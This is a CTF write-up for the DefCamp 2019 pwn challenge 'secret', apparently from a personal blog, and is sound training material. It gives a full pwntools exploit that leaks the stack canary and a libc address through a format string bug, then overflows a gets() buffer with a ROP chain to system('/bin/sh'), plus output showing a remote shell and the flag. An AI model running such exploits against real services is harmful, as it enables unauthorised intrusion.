DefCamp Qualifiers 2019: secret

Posted on September 8, 2019

This binary had a format string vulnerability + a stack buffer overflow vulnerability. We use the format string vulnerability to leak the stack canary and a libc address from the stack. Calculate libc base address then find the address of `system` and a `/bin/sh` string, then call `system("/bin/sh")` to get a shell.

Challenge

- **Category:** pwn
- **Points:** 162
- **Solves:** 55

> *Target: 206.81.24.129:1339*
>
> *Download binary*
>
> *Author: Andrei*

Solution

This challenge is practically identical to Not So Easy Bof from HackCon 2019. You can find my writeup for that challenge here. I'll skip a lot of the in depth stuff. The binary has all protections enabled except Full RELRO.

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/secret$ checksec secret
[*] '/ctf/pwn-and-rev/defcamp-2019/pwn/secret/secret'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

To start off with, I open the binary in IDA to disassemble it. In this case the binary is simple enough to just use the decompiler, but you should realize that I usually only use the decompiler as a guide to see what I should really take a look at, and then use the actual disassembly to understand it.

The main function is as follows:

```
1. int __cdecl main(int argc, const char **argv, const char **envp)
2. {
3.     char s; // [rsp+0h] [rbp-50h]
4.   unsigned __int64 v5; // [rsp+48h] [rbp-8h]
5.
6.   v5 = __readfsqword(0x28u);
7.   setvbuf(stdin, 0LL, 2, 0LL);
8.   setvbuf(_bss_start, 0LL, 2, 0LL);
9.   memset(&s, 0, 0x40uLL);
```

```
10.   printf("Enter your name?\nName: ");
11.   read(0, &s, 0x40uLL);
12.   printf("Hillo ");
13.   printf(&s); // FORMAT STRING VULNERABILITY HERE
14.   secret();
15.   return 0;
16. }
```

We see a format string vulnerability at line 13, as well as a call to `secret()`. The secret function does the following:

```
1. unsigned __int64 secret()
2. {
3.   char s1; // [rsp+0h] [rbp-90h]
4.   unsigned __int64 v2; // [rsp+88h] [rbp-8h]
5.
6.   v2 = __readfsqword(0x28u);
7.   printf("Enter secret phrase !\nPhrase: ");
8.   gets(&s1); // BUFFER OVERFLOW VULNERABILITY HERE
9.   printf("Entered secret > %s .\n", &s1);
10.   if ( !strcmp(&s1, "supersecretdctf2019") )
11.     puts("\nYou entered the same string two times");
12.   else
13.     puts("\nEntered strings are not same!");
14.   return __readfsqword(0x28u) ^ v2;
15. }
```

Here we see a buffer overflow vulnerability at line 8.

The key takeaway is that stack canaries are enabled, so in order to exploit this, my plan is the following:

1. Use the format string vulnerability to leak the stack canary from the stack as well as a libc address from the stack
2. Use the buffer overflow vulnerability to hijack program execution and jump to a one gadget in libc

Now before we begin, the challenge didn't provide a libc file, so I first just leaked a couple addresses off the stack on the remote server using the following script:

```
#!/usr/bin/env python2

from pwn import *

context.log_level = 'critical'
BINARY = './secret'

for i in range(1, 26):
        #p = process(BINARY)
        p = remote('206.81.24.129', 1339)
        p.sendlineafter(': ', 'AAAAAAAA %{}$lx'.format(i))
        print '%02d: '%(i) + p.recvline()[:-1]
        p.close()

print ''
```

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/secret$ ./leak.py
01: Hillo AAAAAAAA 7ffd17473a40
02: Hillo AAAAAAAA 7f0489d77780
03: Hillo AAAAAAAA 7fb1ac3332c0
04: Hillo AAAAAAAA 7fc48cc0c700
05: Hillo AAAAAAAA 6
06: Hillo AAAAAAAA 4141414141414141
07: Hillo AAAAAAAA a786c24372520
08: Hillo AAAAAAAA 0
```

```
09: Hillo AAAAAAAA 0
10: Hillo AAAAAAAA 0
11: Hillo AAAAAAAA 0
12: Hillo AAAAAAAA 0
13: Hillo AAAAAAAA 0
14: Hillo AAAAAAAA 7ffc69e731c0
15: Hillo AAAAAAAA 50c8a62af6681400
16: Hillo AAAAAAAA 55844e558c40
17: Hillo AAAAAAAA 7f9da5e8c830
18: Hillo AAAAAAAA 0
19: Hillo AAAAAAAA 7ffe154e1b08
20: Hillo AAAAAAAA 100000000
21: Hillo AAAAAAAA 55d0bb425b6d
22: Hillo AAAAAAAA 0
23: Hillo AAAAAAAA 1b80133a664fcb03
24: Hillo AAAAAAAA 55abfbcb8960
25: Hillo AAAAAAAA 7ffd7da3f850
```

Now using gdb on my local machine, I know that the address at offset 2 is the libc address of `_IO_stdfile_1_lock_`, while the value at offset 15 is the stack canary.

Now the libc address at offset 2 changed constantly, but the last 12 bits were always `0x780`. I ran the local binary on multiple VMs with different libc versions, and found that the remote binary is using `libc-2.23` as that was the only one where the address at offset 2 ended with `0x780`. Now knowing this, I used gdb with an Ubuntu Xenial VM (which comes with `libc-2.23`) to find that the address at offset 2 is always `libc_base_address + 0x3c6780`.

I also found out using gdb that the number of bytes I have to type in before reaching the stack canary in the `secret()` function is 136 bytes.

For more information about how exactly I do all of the above, please check out my writeup for Not So Easy Bof from HackCon 2019 which is basically the same challenge. My writeup for that challenge goes more in depth about the steps taken.

Next, I just leak the stack canary at offset 15 and the libc address at offset 2. I then calculate the libc base address, and since none of the one shot gadgets were working, I find the addresses of `system()` and the `/bin/sh` string. I then create the buffer overflow payload knowing that it will be `136bytes + 8byte_stack_canary + 8byte_saved_ebp + return_address`.

The following script will do the job:

```
#!/usr/bin/env python2

from pwn import *

HOST, PORT = '206.81.24.129', 1339
BINARY = './secret'

elf = ELF(BINARY)
libc = ELF('./libc-2.23.so') # libc.so.6 from Ubuntu Xenial

def start():
    if not args.REMOTE:
        return process(BINARY)
    else:
        return remote(HOST, PORT)

p = start()

# canary offset is 136 bytes, index 15
# libc offset 0x3c6780 for address index 2
```

```python
p.sendlineafter(': ', '0x%2$lx-0x%15$lx') # Leak libc address (idx 2) and the canary (idx
leaks = p.recvline().split('-')

libc.address = int(leaks[0].split(' ')[1], 16) - 0x3c6780
canary = int(leaks[1], 16)
one_gadget = 0xf1147 # 0x45216, 0x4526a, 0xf02a4 <- none of the gadgets worked
system = libc.symbols['system']
bin_sh = libc.search('/bin/sh').next()
pop_rdi = libc.address + 0x21102 # found using ROPgadget on libc-2.23.so

log.info('libc base: ' + hex(libc.address))
log.info('canary: ' + hex(canary))
log.info('system: ' + hex(system))
log.info('/bin/sh: ' + hex(bin_sh))
log.info('pop rdi: ' + hex(pop_rdi))

payload = 'A'*136 # Write upto canary
payload += p64(canary) # Write the canary so we can smash the stack without it complainin
payload += 'B'*8 # Overwrite ebp
payload += p64(pop_rdi) # Jump to pop rdi gadget
payload += p64(bin_sh) # Put address of '/bin/sh' string into rdi
payload += p64(system) # call system("/bin/sh")

p.sendlineafter(': ', payload)

p.interactive()

p.close()
```

```
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/defcamp-2019/pwn/secret$ ./exploit.py REMOTE
[*] '/ctf/pwn-and-rev/defcamp-2019/pwn/secret/secret'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
```

```
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctf/pwn-and-rev/defcamp-2019/pwn/secret/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 206.81.24.129 on port 1339: Done
[*] libc base: 0x7f4154a32000
[*] canary: 0x7d10bab19e1eaf00
[*] system: 0x7f4154a77390
[*] /bin/sh: 0x7f4154bbed57
[*] pop rdi: 0x7f4154a53102
[*] Switching to interactive mode
Entered secret > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Entered strings are not same!
$ ls
flag
pwn
readme
$ cat flag
DCTF{17AF6D77BFDAC4CAF6CD2FD2F3EB85FB654D2E36745F926169C0958333496979}$
```

Flag: `DCTF{17AF6D77BFDAC4CAF6CD2FD2F3EB85FB654D2E36745F926169C0958333496979}`

← PREVIOUS POST

NEXT POST →